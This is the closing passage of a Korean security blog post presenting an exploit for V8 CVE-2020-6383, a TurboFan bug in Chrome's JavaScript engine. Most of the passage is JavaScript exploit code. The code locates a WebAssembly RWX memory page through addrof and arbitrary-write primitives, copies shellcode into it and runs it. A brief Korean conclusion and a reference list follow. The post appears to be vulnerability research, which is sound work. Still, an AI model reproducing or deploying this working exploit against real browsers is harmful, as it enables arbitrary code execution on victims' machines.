const wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasm_mod = new WebAssembly.Module(wasm_code);
const wasm_instance = new WebAssembly.Instance(wasm_mod);

var w_obj; // to read RWX page address
while (true) {
  w_obj = trigger(); // to read RWX page address

  var offset = (addrof(wasm_instance) - addrof(w_obj[0]));
  if (offset > 0) break;
  for (let i = 0; i < 10000; ++i) {
    trigger();
  }
}

console.log("[+] Array address : " + getHexString(itof(addrof(w_obj[0]))));
console.log("[+] WASM Instance address : " + getHexString(itof(addrof(wasm_instance))));

offset = offset - 0x18n + 0x68n;
var rwx_page_addr;
if (offset % 8n == 4n) {
  const piece1 = ftoi(w_obj[0][offset / 8n]);
  const piece2 = ftoi(w_obj[0][offset / 8n + 1n]);

  rwx_page_addr = ((piece2 & 0xffffffffn) << 32n) | (piece1 >> 32n);
}
else {
  rwx_page_addr = ftoi(w_obj[0][offset / 8n])
}
console.log("[+] RWX page addr : " + getHexString(itof(rwx_page_addr)));

// copy shellcode
const shellcode = [0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x9090909090050f3bn];
for (let i = 0; i < shellcode.length; i++) {
  arb_write(rwx_page_addr+8n*BigInt(i), shellcode[i]);
}

const f = wasm_instance.exports.main;
f();

결론

안정적이고 성공적으로 익스플로잇을 작성할 수 있었다. Turbofan 취약점 익스플로잇이라 난이도가 좀 높았지만 많은 어려움 없이 익스플로잇을 작성하였다. Turbolizer가 알 수 없는 버그로 인해 실행이 불가능해서 그래프를 보면서 원인 분석을 할 수 없었지만 그래프 없이도 충분히 원인 분석을 진행할 수 있었고, 원인 분석을 통해 취약점의 원인을 이해할 수 있었고 익스플로잇도 작성할 수 있었다.

해당 익스플로잇을 작성하기 위한 참고 자료들은 아래와 같다.

  1. 본인의 과거 동아리 세미나 자료들 (2020.01): (비공개)
  2. 본인이 작성했던 v8.4.0 익스플로잇 (연구목적, 2020.06): https://github.com/candymate/csed499I-01
  3. Faith. Exploiting v8: *CTF 2019 oob-v8. https://syedfarazabrar.com/2019-12-13-starctf-oob-v8-indepth/. 2019.
  4. Crbug 페이지 : https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
  5. 라온화이트햇 핵심연구팀 조진호. v8 1 day CVE-2020-6383. https://core-research-team.github.io/2020-06-01/v8-1-day-CVE-2020-6383 . 2020

'보안 > CVE Analysis' 카테고리의 다른 글

QEMU CVE-2019-6778 Analysis  (0) 2021.01.19
V8 CVE-2020-6383 Exploit  (0) 2021.01.19

+ Recent posts